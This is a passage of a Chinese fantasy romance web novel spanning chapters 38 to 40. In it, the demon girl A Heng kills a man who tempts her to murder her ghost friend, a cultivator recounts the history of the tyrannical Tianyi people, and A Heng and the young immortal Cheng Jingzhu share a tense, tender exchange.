阳钧却忽然一默,他看着面前的这个少年,好一会儿才说:“我知道,你对她有一个必须要遵守的诺言,可我想问你,你见到她的时候,她还记得这些吗?会不会这个承诺,从头到尾只有你记得?” 程净竹闻言,他垂下眼帘,听到窗外沙沙的雨声,他想起那片黑水黑山,烟雨朦胧中,那个衣衫明亮的女子扑到他案前,额头的朱砂黄符遮不住她那双笑意盈盈的眼。 “她记不记得并不重要。” 程净竹说道。 阳钧神情却变得越发复杂:“我还记得当初我跟随师父在山下捡到你散碎的神魂,为了不让那点神魂消失,师父将其封入一个刚死的婴孩体内,才使你借人类的血肉之躯像一个凡人孩子一样长大,可到底,你却根本不是人类,你越是长大,这副血肉之躯就越是无法承受你的神魂,你说你记得她,是因为承诺……” 阳钧的话锋忽然一转:“可是师弟,你告诉我,既然只是承诺,为何你的戒痕会有损伤?” 烛火昏昧,照见少年眉心的朱砂痣颜色发暗,血气未褪。 程净竹宽大的衣袖间,指节忽然屈起。 “戒痕有损,是动情的惩戒,”阳钧徐徐吐出一口气,“我上清紫霄宫弟子并非不能动情,动了情,便是尘缘未破,洗去戒痕下山再入红尘也没有什么不可以的,成不成仙,皆在一念,上界也从不强求任何人断情绝爱,可师弟,你不一样,你的神魂并不匹配你这副血肉之躯,是师父当初强行为之,戒痕便是你的封印,你必须修行炼化清气才能维持自身,你若一再动情,待戒痕化为一道细细的血线,你必定会……” “我知道。” 程净竹打断他。 案上一盏烛火摇动光影,点缀在程净竹洁白的衣襟,他浓而长的眼睫低垂着,眼底波光冷寂,他面上没有丝毫表情,语气清淡:“师兄,我说过,那只是一个承诺而已。” 门窗紧闭的室内太过昏黑,多么像是深邃潮湿的山璧,黑漆漆的不见多少光影,他苍白的下颌微抬: “除此之外,什么都不会有。” 檐外夜雨沙沙,松竹枝叶被冲刷得透亮,阿姮临窗而坐,她盯着铜镜中的自己,晦天暮雨之中,临着一盏灯烛,她看到镜中自己所穿的雪白衫裙里面原来是一件红色衣裙,那颜色鲜艳得像血,而她颈侧一道闪烁水痕的裂口何其显眼。 阿姮垂眸,舒展自己的手掌,掌心同样一道裂口,她看着这道裂口,想起花厅里,那少年冷峻的神情。 阿姮从发间摘下那支木簪,红萼白梅朵朵冷艳,她面无表情地碾碎花瓣,镜中,她身上淡淡的黑气浮动,阿姮一瞬抬眸,周身红云顿涌。 “他明明知道的……” 忽然,她耳边有一道声音响起,竟然是她自己的声音,“他明明知道你很爱惜这副壳子,不是吗?” 那声音忽然又化为风音,吹过她耳边浅发:“他却为了那个上清紫霄宫弟子,弄坏你的壳子!” 阿姮盯着镜中的自己,红云与黑雾交织,她感受到原本空空如也的胸腔里像有一团烈火在疯狂跳跃。 烛影映照镜中她暗红的双眼。 此时,窗上映出一道漆黑的影子,阿姮盯着那影子,一窗之隔,她听见一道沙哑的声音:“我终于找到你了。” “你是谁?” 阿姮开口。 那影子慢慢挪到槅门前,他似乎还很有礼节似的,轻敲了敲门,随后“吱呀”一声,推开槅门,那影子很快进来,昏暗的烛火照不见他斗篷底下的脸,而他却在黑暗中肆意审视着阿姮,见她周身红雾与黑气交织,他粗哑的嗓音响起:“我是来接你走的。” “接我走?” 阿姮丢开木簪,颇有些兴味似的:“去哪儿?” “自然是和我们在一起。” 那影子的声音变得有些阴冷:“你不能再待在上清紫霄宫的人身边,他们都是些虚伪的凡人,你本就属于我们,你以为他们为什么不对你动手?那是他们还找不到毁灭你的办法,所以留你在身边,诓你,骗你,以期有朝一日可以将你彻底毁灭!” 阿姮暗红的眸子神光微闪,她收拢掌心,那道裂口存在感实在太强,她又听到耳边那道声音:“他说得对!你不是也看到了吗?他给你的壳子,他随时可以毁掉,而你……一直在被他牵着鼻子走!” “我属于你们……” 阿姮揉念着这句话:“那么你们——是谁?” “我们曾是天上地下唯一的主宰,”那影子声音低沉极了,“我们才是这世上的真神!” 他似乎还要说些什么,却声音却忽然止住,他转过头,看向身后那道门,阿姮也随之看去,只听外面传来敲门声。 随后,便是霖娘的声音:“阿姮。” 阿姮盯着槅门,没有说话。 霖娘站在外面,得不到阿姮的应答,她垂下眼帘,看着自己的脚尖,一时间不知道该不该推门进去,自花厅出来,她们被奴婢各自领入房中,阿姮便没再出来过。 霖娘抿了抿唇,还是张口道:“阿姮,你方才在花厅中,是不是……是不是想杀澹云、朝燕两位小姐?” 来彭州的路上,霖娘便从阿姮口中听说了她在孟婆那里闯祸的事情,此时霖娘仍听不到房中有任何回音,她便又说道:“我知道你是为了收回执根,可是,你不能为了收回执根而滥杀无辜啊!你若犯杀戒,我们……” 霖娘喉咙哽了一下,声音变得很轻:“我们又要如何同道呢?你与程公子,又要如何同道呢?” 一门之隔,阿姮耳边的声音又开始叫嚣:“你听见了吗?她根本就无法容忍你的天性,凡人都是这样,你是天生的妖邪,和他们从来都不是同道……” 门外霖娘无知无觉,又说道:“阿姮,人分善恶,我相信妖邪也有善恶之念,如果你不懂这些,我,我可以慢慢教你,教你认识这个世界,教你知道什么是无辜,什么又是罪恶,我真的不想你在什么都还不懂的时候就犯下杀戒……阿姮,我念你的好,我是水鬼,你是妖邪,我们可以是永远的朋友,对吗?” “凡人都是狡猾的,凡人化成的水鬼也是如此,”那影子在斗篷下凝视着阿姮,他的声音仿佛有某种引诱的能力,“你永远都不可能是任何人的朋友。” 他抬起手,指间一枚漆黑的指环闪烁光影,瞬间槅门大开,霖娘整个人被一股邪风拖入房中。 霖娘趴在地上,一下抬起脸,只见屋中竟然有一道高瘦的人影,她转过脸,看到阿姮正坐在窗边,不知为什么,她周身红云浮动,却隐隐有些黑色的气流。 “阿姮……” 霖娘喊了一声,却见阿姮那双暗红的眼就像死水一般冰冷,那是一种有别于人类的深邃的冷意,霖娘想起身,却被黑气缠住,动弹不得。 这时,那影子看着阿姮,他的声音几乎顷刻与阿姮耳边那道声音重合:“杀了她,回到我们身边,终有一日,三界仍会是我们的。” “杀了她,她根本不配做你的朋友。” 阿姮听到耳边的声音催促着她,胸腔里那团火焰炽热地燃烧,她缓缓起身,一步,一步走向霖娘。 “阿姮!你怎么了?” 霖娘看着阿姮朝她走来,她颤声唤,却不见阿姮有任何反应,这令霖娘顷刻想起黑水河畔的初遇。 那时的阿姮,曾以这样的目光看她。 令她心魂惊惧,浑身阴冷。 那影子在斗篷底下露出一个微笑,他看着阿姮抬起手指,一簇红云乍现,尖锐的气流蓄势待发。 阿姮苍白纤细的手指微动,霖娘煞白着脸,一下紧闭起眼睛,却听拳脚相接的声音响起,霖娘又猛地睁开眼睛,只见那影子踉跄后退几步,不敢置信似的,盯住阿姮:“你……” 阿姮掏了掏耳朵,周身烈焰焚尽寸寸黑烟,她耳边那道聒噪的声音顿时隐去,此时,被她丢在梳妆台前的木簪忽然飞回她指间,阿姮垂眸看了一眼它,她还记得自己颈侧的裂口正是拜它所赐,但它越是如此,阿姮就越是想要驯服它。 木簪在她手中变回若剑一半长的焦枝,阿姮握住它,身化红云,转瞬凝在那影子身前,那影子匆忙以指环应对,化出强风般的气流袭向阿姮。 阿姮扬手,焦枝劈开气流,她周身红云流转,很快将那影子整个人包裹,那影子被灼烧得发出痛叫,匆忙躲避,却扑不灭满身烈焰。 焦黑的枝尖骤然穿透他的胸膛。 滴答,滴答。 阿姮瞥向他胸口,鲜红的血液在焦枝蜿蜒下坠,落在地上。 那影子摇摇晃晃,重重倒下去。 斗篷滑落,露出他深邃的五官,枯黄的皮肤,阿姮端详着他的模样,有点讶异:“原来是个人类啊。” 他是个人类,会流红色的血液,有一副血肉的身躯。 他嘴唇抖动着,血充盈着他的口腔,以至于他的声音有些浑浊:“你属于我们……可你,还不太听话……” “你算什么东西?” 阿姮弯着眼睛,“我凭什么要听你的话?我讨厌听任何人的话。” 话音落,阿姮抽出万木春,鲜血迸溅的刹那,那人浑身紧绷抽搐,手指间的指环顷刻碎裂,烈焰红云很快将他整个人吞噬,一缕青烟悄无声息地顺着门缝飘散于潇潇暮雨之中—— 作者有话说:让我们来给程净竹颁一个年度最佳嘴硬奖[让我康康] 第39章 第39章 “小神仙,你真好。”…… 红云燃尽, 霖娘双掌撑在地上,她愣愣地望着地上那一层淡薄的黑灰,一股焦臭的味道闯入鼻息,霖娘脸色煞白, 忍不住干呕起来。 室内静悄悄的, 霖娘缓了缓, 视线顺着那雪白的裙角往上,对上阿姮那双暗红的眼睛,霖娘嘴唇微抖:“他……死了?” “死了。” 阿姮垂眸睨她。 廊外雨雾潮湿, 晚秋的冷意几乎将霖娘整个身躯包裹, 她连忙从地上爬起来, 一把拉住阿姮的手:“他是谁?他为什么说你属于他们?” 阿姮盯着她的手, 暗红的眼珠微微转动:“我不知道。” “我杀了一个人类,”阿姮瞥向地上那层黑灰, 她丢开霖娘的手, 苍白而冶艳的脸上没有丝毫人类的表情,“和你不同道了。” 霖娘愣了一下, 好一会儿, 她反应过来, 忙又挽住阿姮的手臂, 说:“不是的, 我说过人类的世界是讲善恶的,他来历不明,又……蛊惑你杀我, 可你却并没有那么做。” “你并不是什么都不明白,就像你会一再救我,就像……”霖娘想了想, 说,“就像你会喜欢程公子,你明明有自己的情感,这与人类其实没有什么分别。” 阿姮闻言,想起方才那个人说过的话,她的目光凝在霖娘脸上:“什么是朋友?” “就是你和我啊。” 檐外夜雨淅淅沥沥,霖娘想也不想地说道。 “是吗?”阿姮妖异的红瞳中显露一分茫然,她其实一点也不明白“朋友”到底是什么东西,她只知道无论是在赤戎,还是赤戎之外的这个世界,她从没有真正见过自己的同类,那些鸟兽虫鱼化成的东西被称为妖,却不够邪。 朋友,算是同类吗? 阿姮想不明白。 雨中传来急促的步履声,同时,阿姮嗅到幽微的清气,她抬眸看向门外,那身穿墨灰色衣袍的青年手持金剑快步奔来,又骤然停在门槛外。 他明显嗅到那股焦臭的味道,那双眼睛蓦地盯住室内地面上那一层黑灰,他的神情变得十分凌厉:“阿姮姑娘,你杀了人。” 他以一种十分笃定的口吻。 阿姮更嗅到他身上的清气,诚如霖娘所言,这的确算是一股好闻的清气,足够让所有的妖物口水直流三千尺,却根本不及程净竹的清气。 “积玉仙长,阿姮是为了救我!”霖娘连忙解释。 晦暗的雨幕中,那少年忽然从天而降,他没有撑伞,但雨水却未沾湿他一片衣角,阿姮的目光越过积玉,与那少年相视,她扯唇:“不,我不为任何人,我就是想杀他。” 眼见积玉眉头一皱,脸色更寒,毕竟阿姮才对那两个谢氏女动过杀心,积玉手中金剑震动,霖娘见此,立即挡在阿姮身前:“积玉仙长,阿姮真的没有杀害无辜……” “那你说,她杀了谁?又为何要毁尸灭迹?” 积玉冷声问道。 阿姮站在霖娘身后,神情淡淡,苍白的指尖微勾,一点红云跳跃,霖娘毫无所觉,仍在解释:“我也不……” “是天衣人。” 程净竹行至廊上。 霖娘的声音戛然而止,积玉愕然回头:“什么?” 阿姮指尖的红云顷刻消散,她定定地凝视程净竹,他却错开眼,不再看她,此时雨中一道白符自漆黑的天际飞来他面前。 那白符点缀缕缕金焰,一点青灰色化在符纸中间。 “召通术?” 积玉见到那点颜色便一瞬想明白其中的关窍:“我曾听师父说,天衣人皆有本命法器,若是紧要关头,震碎法器则可以催动召通术,这种邪术可以顷刻耗光天衣人所有的气血,并凭此而传信于其他人。” 这种邪术并不是无痕的,它随风而去,却呈现淡淡的青灰色,只是常人难以发觉。 “可天衣人……怎么会是凡人?” 霖娘不敢置信。 她还记得元真夫人降临赤戎那一日说过的话,黑水村人以为的神山其实并无神灵,无论是天地之母九仪娘娘封存于地下的法器,还是元真夫人舍身与神山融为一体,都是为了镇压长渊中的天衣人。 霖娘十分不解:“对于神仙来说,凡人明明那么弱小。” 可数千年的时间,上界竟然从未彻底消灭天衣人。 积玉看了一眼霖娘,又盯着阿姮,他神情始终严肃,却到底还是将金剑收回后背的剑鞘之中,道:“姑娘错了,凡人并不弱小,这世间若没有人,也就不会有神。” “什么意思?” 霖娘根本听不懂。 积玉看向她,神色有些古怪:“你怎么什么都不知道?” “……不好意思,我死得早。” 霖娘听出他的阴阳怪气,她拧起眉,硬邦邦道。 “……” 积玉脸颊肌肉抽动一下,到底还是解释起来:“数千年前天地混沌,有九州,而九州之外,还有八泽,彼时山川分散,而人各有所处,先成千万部落,再成千万国,直到丹泽中有一小国发现一座奇山,方八百里,高万仞,奇花异树,白玉为土,山中有一口天然形成的九眼泉,那时人们的寿命很短,不等老而先死,是九州八泽的常态,而那小国中有人取用九眼泉中的水之后,却渐渐发现,凡是饮过九眼泉水的人,寿命皆比常人要长。” “然后呢?” 阿姮来了点兴致,忽然出声。 积玉看了她一眼,继续说道:“奇山奇水的消息传遍九州八泽,从那时起,原本各自少有相通的川泽开始紧密连结,天下万国爆发无数战事,那小国也因此而被瓜分亡国,人们为了获得更多的寿数,战争开始充斥九州八泽,九眼泉枯竭之时,人们终于意识到,再多的九眼泉水也没有办法给予贪心之人无穷无尽的寿数,一个人不管饮用多少九眼泉水,也终究越不过人类的极限,得不到所谓的永生,但因为那座奇山,因为那九眼泉,人们开始意识到这个混沌世界的神奇之处,人们开始穷尽手段去搜寻奇异,天地有钟灵造化,即便是石头,石中也有神奇之石,即便是一片树叶,树中以有神奇之树,万事万物,不论伟大渺小,都有可能蕴藏精纯之气,它们大多可以帮助人类获得穷尽人力都难以企及的力量,人们一点点发现它们的价值,区分它们的作用,加以利用。” “这些跟天衣人又有什么关系?” 阿姮问道。 “天衣人原本生在八泽中的寒泽,那里极冥极寒,气象恶劣,以至于天衣人人数稀少,甚至难成一国,但极寒之地亦有极异造化,受天下追逐奇异的大势所影响,天衣人不畏严寒开凿万年冰山,一代人接一代人,用了百年,他们在那冰山之下发现了被冰封的异禽,因为寒冰封冻,那异禽寸羽不落,尸骸完好,天衣人在它的腹下发现了两颗鸟蛋,他们又用了一百年,将那两颗被封冻完好的鸟蛋孵化出来,他们发现,那鸟天生九首,赤羽如火,上天入地,无所不能。” “……等等!”霖娘听到这里,尤其是“天生九首,赤羽如火”,她不由道,“你所说的异禽,不会是九头鸷吧?” “看来姑娘也不是什么都不知道。” 积玉点点头,“不错,此异禽正是九头鸷,原本寒泽极寒,除了生长在那里的天衣人之外,没有人可以克服得了寒泽的极度阴寒,所以天下纷争不断,却一时并无外敌入侵寒泽,而得到九头鸷幼鸟之后,天衣人又用百年开凿冰山只为再找出几枚鸟蛋,再耗百年孵化幼鸟,使它们成群成势,然后……” “然后?” 阿姮歪着头看他。 “然后,天衣人出寒泽,入九州,”积玉神情肃穆,“最初,他们以在寒泽发现异宝为借口,与九州众国约定互通,他们将九头鸷赠给各国,因为九头鸷在战场上更能比人类组成的军队发挥巨大的作用,所以诸国趋之若鹜,九州因获得九头鸷而爆发更加激烈的战争,而天衣人游走在战火中,以弱小族群的形象,卑躬屈膝地赚取诸国的赏赐,游走九州,学习诸国利用异宝的技艺。” “诸国纷争加剧,九州水深火热,多少君王野心勃勃,定要九州归于一统,他们无所不用其极地交战,杀伐,但他们却没有料到,有一日,他们用血,用战争精心浇灌的九头鸷会忽然不受他们控制,九头鸷吃干他们的血肉,终结他们的战争,九州诸国终于一统,而一统九州的主宰,却是被他们忽略的天衣人。” “天衣人始终是九头鸷真正的主人,他们用开凿冰山,孵化九头鸷那百年又百年的耐心从各国学来的技艺,又更加穷尽本能地钻研驾驭各类异宝的办法,然后,他们从难成一国的弱小族群,一跃成为九州共主。” “他们掌握,控制那些擅于发掘,运用各色异宝的人来为他们钻研、发挥异宝更极致的力量,并将九州各种奇异珍宝据为己有,那之后,天衣人开炼化天地异宝为法器的先河,一时获得更加强大的助力,凭着异宝炼化而成的法器,还有成群的九头鸷,天衣人拥有了一支无比强大的军队,然后,天衣人势如破竹踏平七泽,成为九州八泽唯一的主宰。” “那之后,除寒泽天衣人之外,九州七泽所有人类皆为凡人下民,而天衣人改中州上都为天衣神都,自此,天衣人以神的名义执掌九州八泽,此时期,称——坍鸿。” “所以,”霖娘终于明白过来,“天衣人和九州七泽其他所有凡人一样,他们本就是血肉之躯,只不过他们为了将天衣族群与其他凡人区分,故而以神自居?” “是。” 积玉点头:“天衣人信奉自己高贵的血统,他们执掌九州八泽的坍鸿时期,所有凡人都是他们的奴隶,他们掌控着整个混沌世界,用九头鸷残酷镇压下凡人一次又一次的反抗,他们用凡人奴隶去不断寻找,开掘各色异宝,也用凡人奴隶来试验炼化的法器,他们不断精心自己的炼化术,也是他们发现了有些异宝炼化而成的法器若用特殊之法植入人的体内,与法器共生,便可以获得比常人更高的寿数,那时侯,凡人的寿数至多已能抵六七十载,而天衣人却因为他们对于法器的钻研之精妙,而使天衣神族寿命最长可抵二三百年。” “可他看起来也没有个两三百岁。” 阿姮双手抱臂,细细想着方才那人的形容,她一点也感觉不到他有什么特别:“至于他那本命法器,简直一碾就碎。” 此时,那道悬在半空的白符忽然飞快擦过她身边,阿姮立即转过脸,只见那白符骤化缕缕金芒,落在地上那片黑灰之上,金色的流光竟然渐渐勾勒出一副人的轮廓。 那张脸,赫然便是方才那人的。 “小师叔,”积玉定睛一看,锋利的眉蹙了蹙,他若有所思,“此人似乎不像是真正的天衣人。” “不像?天衣人与常人有什么不同吗?你这都能认得出来?”霖娘吃了一惊。 “天衣人虽可恶,但不可否认他们更懂法器的精妙,我上清紫霄宫也钻研此道,坍鸿时期天衣神都中锁有天衣古籍,有一部分如今正在我药王殿,我也是从天衣古籍中知道,天衣人虽在长相上与凡人并无不同,但他们的眼瞳却是幽绿的颜色,而这个人完全不满足天衣人的特点,他一只眼晶珠浑浊,患有目翳,而另一只眼虽无眼疾,眼瞳却也并非绿色。” 阿姮根本没有注意过方才那人的眼珠有什么不对,此时她端详着被金芒勾勒出的这张脸,发现他的一只眼睛的确有些怪异,她好奇道:“他眼睛里好像有一层东西。” “有些人年纪渐长,精气日衰,便会得目翳,眼睛中长出一层或白或棕的翳障,”程净竹说着,几步走到门边来,“而他翳障发红,极有可能是因为,他是天衣人与凡人的后代。” 阿姮看向程净竹,不再说话。 而霖娘却好奇地问道:“天衣人和凡人的后代,都会有这种特殊的目翳吗?” “也不全是,只是天衣人选择与冰冷的法器共生,就注定舍弃了一部分作为人的温度,他们与凡人结合所生的后代有些天生残疾,有些体弱多病,这本是天衣人对所有冒险与凡人通婚生子的天衣人的诅咒。” 程净竹说道。 “……什么?”霖娘简直难以相信自己的耳朵,“天衣人自己诅咒自己?” “是诅咒那些与凡人结合的天衣人。” 积玉纠正她:“天衣人始终认为天衣神族高贵的血统绝不容许任何凡人的玷污,他们将少数与凡人结合的天衣人视为叛徒,并使与他们血肉相合的法器发生异变,造成他们的后代生来就背负诅咒,但也因为多数天衣人对血统纯粹的追求,以及他们自身与法器相融后造成的某种弊病,他们虽然获得了比凡人更长的寿数,但血脉的传承却变得十分艰难,以至于天衣人虽然掌控了整个九州八泽,却依旧一如当初那样族人稀少。” “那,他们又是如何跌落神坛的?” 阿姮忽然张口问道。 积玉对上阿姮的目光,忽然发觉,似乎他说话的时候,这位阿姮姑娘便总会张口询问一二,但若是小师叔说话,她就会显得特别安静。 连霖娘也发觉了这一点,她的视线不由在阿姮与程净竹之间来回一番,但阿姮似乎看也不看程净竹一眼,正专心致志等着积玉的下文。 程净竹抬起眼帘,淡瞥一眼积玉。 冷雨斜吹入廊,积玉临风,后背忽然有些发冷,他有些莫名,但见这一妖一鬼好似求知若渴,他便还是答道:“天衣人将凡人视作低贱奴隶,肆意屠杀施虐,早使九州七泽怨声载道,是九仪娘娘朝露以凡人草芥之身领众生杀出血路,搅动风云,那时,连天衣神子也为九仪娘娘所感,为解众生疾苦,火烧天衣神都。 天衣人追求与法器共生,妄求万古长青却不得其法,而九仪娘娘却开辟了另外一条道,她发现世间万物生机无穷,而生机之中蕴藏无尽极清之气,变化无穷,她借清气自成其道,以自己铸造的不世法器劈开混沌,重造天地后,天上混沌之气分散,降于世,使鸟兽虫鱼,花草树木异化妖魔,九仪娘娘便化去自身,散去所有清气,使人间德者,圣者,善者,能者,受清气所感,羽化登云,而比起天衣人,世间百姓更愿意敬他们为神。” 霖娘久久无言,她似乎沉浸在一种难以言喻的震撼之中。 她终于明白,为什么说九仪是天地之母。 廊外夜雨声声,阿姮不禁伸手碰了碰发间那支焦黑的木簪,九仪劈开混沌,重造世界的不世法器应该就是这支万木春,但她不明白,九仪修得一条世无相匹的道,她掌握极清之气所有的玄妙,她那么强,那么万中无一,可她竟然化去自身,让那些清气为他人所用,使他们成仙成神。 “这位……水鬼姑娘。” 积玉的声音忽然响起,他只听霖娘唤过阿姮,却不知霖娘叫什么,所以他措了措辞,自认为足够严谨:“这个人忽然出现,到底为何要杀你?” “他……” 霖娘抿了一下唇,她想起那人方才像是妄图控制阿姮来杀她,但她也不知道这其中到底是什么缘故,她茫然地摇了摇头。 积玉见状,又问:“这厢房是你们二位谁的住处?” “是我,”阿姮说着,唇边带笑,迎着他的目光,“怎么了?” 积玉不苟言笑:“那么也就是说,此人其实是冲着阿姮姑娘你来的?为什么?” 阿姮正要说些什么,却听一道清若玉磬的声音响起: “她身上有天衣火种。” 阿姮抿唇,暗红的眼睛终于看向门边的那个少年,他就站在灯笼底下,灯影投落在他身上,他鸦青色的衣袍泛着紫绿的莹光,黑白交叠的衣襟始终那么整洁,他那双剔透而冷漠的眼睛正看着她,波澜不兴。 “天衣火种?”积玉总觉得“火种”两个字有点耳熟,他略略沉思,恍然大悟,他记得师父不久前才见过龙华山的得道真人,那时,积玉就在师父身边,积玉一下反应过来,“小师叔,你是去赤戎了?” 程净竹没有否认。 积玉一下盯住阿姮,眉目锋利:“龙华山真人说,天衣火种是借欲燃烧的欲望之火,妖魔鬼怪欲壑无垠,小师叔,火种在她身上岂不危险?!” “积玉,” 程净竹淡淡道,“你先回去。” “小师叔?”积玉望向程净竹,他实在不明白小师叔为什么要将这一水鬼一妖些带在身边,还容忍天衣火种在她的身上,“天衣人寄灵魂于法器而不入地府,哪怕身躯毁灭,灵魂仍然不散不消,他们借器而生,可以剥夺任何血肉躯壳,所以才那么难以铲除,他们费尽心思从赤戎送出这火种来,只怕这东西也不简单,小师叔,我们应该毁掉它!” “毁掉它,然后呢?” 程净竹看向他,“下一枚火种,你如何去寻?” “这……” 积玉显然不了解火种之间存在什么样的联系,他愣住了。 霖娘见积玉提到火种就这样激动,她生怕积玉拔出金剑来跟阿姮打个天昏地暗,也顾不得心里对积玉的那点怵了,她一把抓住积玉的衣袖,用力推他:“哎,积玉仙长,程公子肯定有他的道理,你就不要瞎操心了,走吧走吧……” “你……”积玉忽然被霖娘生拉硬拽,他脸色一变,“快放手!” “积玉仙长我我我先说好啊!你别动手,我是元真夫人点化的弟子,我身上这云肩还是元真夫人亲手所赠,你别冲动!!”霖娘硬把他往雨里拽。 “什么?你?元真夫人的弟子?” 积玉难以置信。 “是是是,我知道我看起来是有点没用,”霖娘推着他,背影渐渐融入雨幕中,“但我这不是诚心向你求教了吗?你们上清紫霄宫那么厉害,不知道可不可以指点我一些法门,如此我才能好好践行我对元真夫人的承诺,修行正道啊。” 霖娘的声音渐渐模糊,廊下唯有雨声淙淙,阿姮的目光从漆黑的雨幕里收回,再度落到门边那少年身上:“你真的信他是因为我身上的火种而来找我吗?” 她的语气不算好。 程净竹看着她,她没有那副惯常的笑容,苍白的面容,暗红的眼瞳,她不耐烦的情绪十分明显。 “不信。” 他道。 “那你为什么不让我告诉他?我其实可以告诉他的,”阿姮唇边浮出一点笑意,神情却有种妖异的阴冷,“只是他知道了,若要动手,我可是会杀了他的。” 她的语气轻飘飘的。 阿姮始终盯着程净竹,但她却并未从他那张脸上看到一分愠怒的情绪,他过分的平静。 他凝视着她,问:“那个人对你说了什么?” 他仍旧站在门外,一道门槛相隔,几步距离不远不近,但阿姮却从他疏淡的语气中感受到一种紧迫的压势,阿姮静默不言,他却又并不心急似的,缓缓道:“他想知道,你就告诉他。” 阿姮反应了一下,明白过来,程净竹口中的“他”,是指积玉,她扯扯唇:“是啊,谁让他身上的清气那么好闻呢。” 不知道是不是阿姮的错觉,她话音才落,便见门外这少年修士的神情似乎僵了一下,紧接着,他那副眉眼更加冷若冰霜,嗓音也出奇的冷:“你就算杀了那两名谢氏女取出执根,孟婆也不会给你想要的东西。” “为什么?”阿姮拧眉。 “九仪再造天地,化出三界,使上界有天规,地下有阴律,道法一统,”程净竹睨着她,“你不遵循地下的规矩,就休想孟婆履行她的诺言。” 阿姮脸色微沉,她将不高兴写在脸上,一双暗红的眼睛瞪着程净竹,但过了片刻,阿姮没憋住,硬邦邦地问:“你知道怎么才能取出执根?” 程净竹轻抬下颌,却不说话。 意思已经很明显了。 她必须得交代那个天衣人的事。 阿姮臭着脸,不情不愿道:“他说他是来接我的,他还说,我属于他们。” “还有吗?” “还有,他借火种引诱我,让我杀了赵霖娘,”阿姮想了想,又说,“他说,我永远都不可能是任何人的朋友。” 烟雨朦胧,檐下灯影昏黄。 阿姮的目光落在自己脚尖,彩线勾勒的鸳鸯在暖色的光影中显得十分灵动漂亮,她盯着看,却忽然听见门外,那少年的嗓音仿佛浸过雨: “过来。” 阿姮抬起头,望着他。 可是她一点也不想听他的话,她站在原地一步也不肯挪。 “阿姮。” 他唤。 阿姮觉得,他每每丢掉“姑娘”两个字的时候,就是不一样的,但是阿姮不确定,这种不一样的感觉是他的,还是她自己的,因为她听到他这么喊,她的步子就不等她的脑子反应,跨过门槛,到他面前。 昏黄的光影里,阿姮显得有些别扭,她撇过脸,眼睛看向廊外雨幕。 这时,温热的触感却忽然落在她的颈侧。 阿姮陡然浑身一僵。 她眼睫眨动一下,反应过来,那是他的手指。 很轻很轻的触碰,可他的温度却那么热,但很快,他的手指离开了,阿姮下意识地伸手要去摸自己的颈项,但她的手才抬起来,就被他握住。 他白皙而修长的指节屈起,掌心滚烫的温度不断紧贴她的手心,阿姮听见他说:“执根是她们上一世难以消解的执念,你若能化解她们的执念,执根自然就会消失。” 阿姮闻言,望向他:“那要怎么化解呢?” “找到她们执念深重的症结,对症下药。” 程净竹说道。 风吹雨斜,廊上响起一片滴滴答答的水声,灯笼底下,昏黄的光影落了阿姮与他满身,彼此相对,手掌相合。 但很快,他松开手。 阿姮看到自己掌心的裂口完全消失,她再去触摸颈侧,那里被万木春划出的裂口也不见了,她一瞬阴晦尽扫,笑眼盈盈,很快朝他靠过去: “小神仙,你真好。” 第40章 第40章 “你教我写字,好不好?”…… 夜雨若绳, 千丝万缕地顺檐而下,阿姮笑着靠过去,他却侧身一避,半片衣角也没被阿姮碰到。 檐外飞流淙淙, 冷风吹熄了他们二人头上的那一盏灯笼, 阿姮站在这片昏昧的阴影里, 眼底笑意顷刻消失。 他的那双眼神光清冽,极致的干净,也极致的严寒, 这样的人, 手掌竟然会那么热, 阿姮看着他, 忽然说道:“你会一直帮我吗?” 程净竹盯着她。 阿姮说:“我是说,你会一直帮我, 直到我取出谢氏女的执根吗?” 程净竹淡色的唇轻启, 吐出一字:“会。” 他没有任何犹豫,阿姮也从他那副神情中找到丝毫端倪, 她笑了笑, 缓缓道:“可是为什么呢?小神仙, 你先是帮我造壳子, 然后又帮我离开阴司……不要说你没有, 你不说我也知道,那阎王怎么可能轻易放过我呢?是你带我出来的。如今,你又愿意帮我取谢氏女的执根, 你说,你为什么对我这么好?” 檐外雨雾漫漫,廊上她越逼越紧, 程净竹一根手指抵住她额头,不容许她靠得更近,晦暗的阴影里,他眉心的红痣更衬他的面容透着一种冷感的苍白,他并不回答,而是道:“交出火种,你既已见识过它的厉害,就应该明白,它并不是那么好驾驭的东西。” “它是挺厉害的。” 阿姮很讨厌它叽叽喳喳的,一逮到机会就在她耳边吵个不停,但此刻,阿姮手指勾了勾,一点红云忽现,其中还参杂了几缕黑色,像烛火中的焰芯,那火光点映她的脸:“可这正是我想要的。” 自从她得到这枚火种后,她便明显感觉到自己的力量正因为它而变得更强,若她早得到这东西,那时在阴司中,毁的就不只是一座极幽府了。 “你帮我是因为火种?”阿姮收回手指,那点光亮一瞬隐没,她不自禁躲开程净竹那根抵住她额头的手指,凑近他,“可在赤戎呢?那时我没有火种,你给我血,还带我出来,为什么?” 她实在冥顽不灵,程净竹面无表情地转过身,朝廊外去。 阿姮站在门边,檐下灯笼摇摇晃晃,将熄未熄,她看着他颀长的背影融入晦暗,淅淅沥沥的雨幕中,他的声音隐约落来:“小心玩火自焚。” “不说就不说,”夜雨声声,阿姮靠着门框撇撇嘴,“小气。” 彭州的晚秋极爱下雨,雨越下,天越冷,那两位谢小姐自醒来后便日日待在闺房中不肯见外客,无论是大夫人孙氏还是谢二爷,他们对着各自的女儿好说歹说,那二位小姐也还是不愿再见一见两位上清紫霄宫的仙长,谢二爷没办法,但听说程净竹还要在彭州逗留些时日,他生怕两位仙长前脚刚走,女儿后脚又出什么岔子,便说什么也要留下他们在府中住。 程净竹倒也没有拒绝,在城中支起一个义诊的摊子,与积玉一道布施医药,城中百姓一听说是两位上清紫霄宫药王殿的仙长在此慈济众生,几日之内,来看诊的人络绎不绝。 今日难得雨停,一片好晴光,霖娘目光如炬地盯着面前的茶碗,碗中的散茶刚冲好,茶叶还浮在水面,未被滚烫的温度激出颜色,她深吸一口气,双指结印,推印入盏,滚烫的茶水顿时汹涌起势,悬流而飞。 霖娘面上一喜,岂料下一刻飞流不受她控制,钻出茶棚窜去对面,那穿着墨灰色衣袍的青年敏锐地侧身一避,热茶泼了他背后金剑一身。 那青年不善的目光落来,霖娘一个激灵,她一下转过脸,只见阿姮指尖微红的雾气消散,她眼睛一瞪:“阿姮!你做什么!” 阿姮下巴抵在桌角,百无聊赖,她这双眼睛看不到明亮的色彩,茶棚外面人影重重,那少年今日穿了一件雪白的衣袍,襟前依旧压着那串晶莹的宝珠,他坐在一张窄案后,一只手把脉,另一只手握笔,他没怎么抬过头,直到此刻,他侧过脸看到积玉背后剑鞘滴水若雨,随后,那双眼睛越过人群,与她相视。 